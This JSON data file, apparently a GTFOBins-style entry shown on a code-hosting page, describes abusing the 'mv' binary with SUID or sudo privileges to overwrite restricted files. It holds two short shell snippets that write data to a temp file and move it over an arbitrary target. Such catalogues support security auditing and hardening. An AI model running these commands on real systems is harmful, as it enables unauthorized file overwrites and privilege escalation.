You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
15 lines
376 B
JSON
15 lines
376 B
JSON
5 years ago
|
{
|
||
|
"description": "This can be used to move and then read or write files from a restricted file systems or with elevated privileges.",
|
||
|
"functions": {
|
||
|
"suid": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./mv $TF [file]\n"
|
||
|
}
|
||
|
],
|
||
|
"sudo": [
|
||
|
{
|
||
|
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo mv $TF [file]\n"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|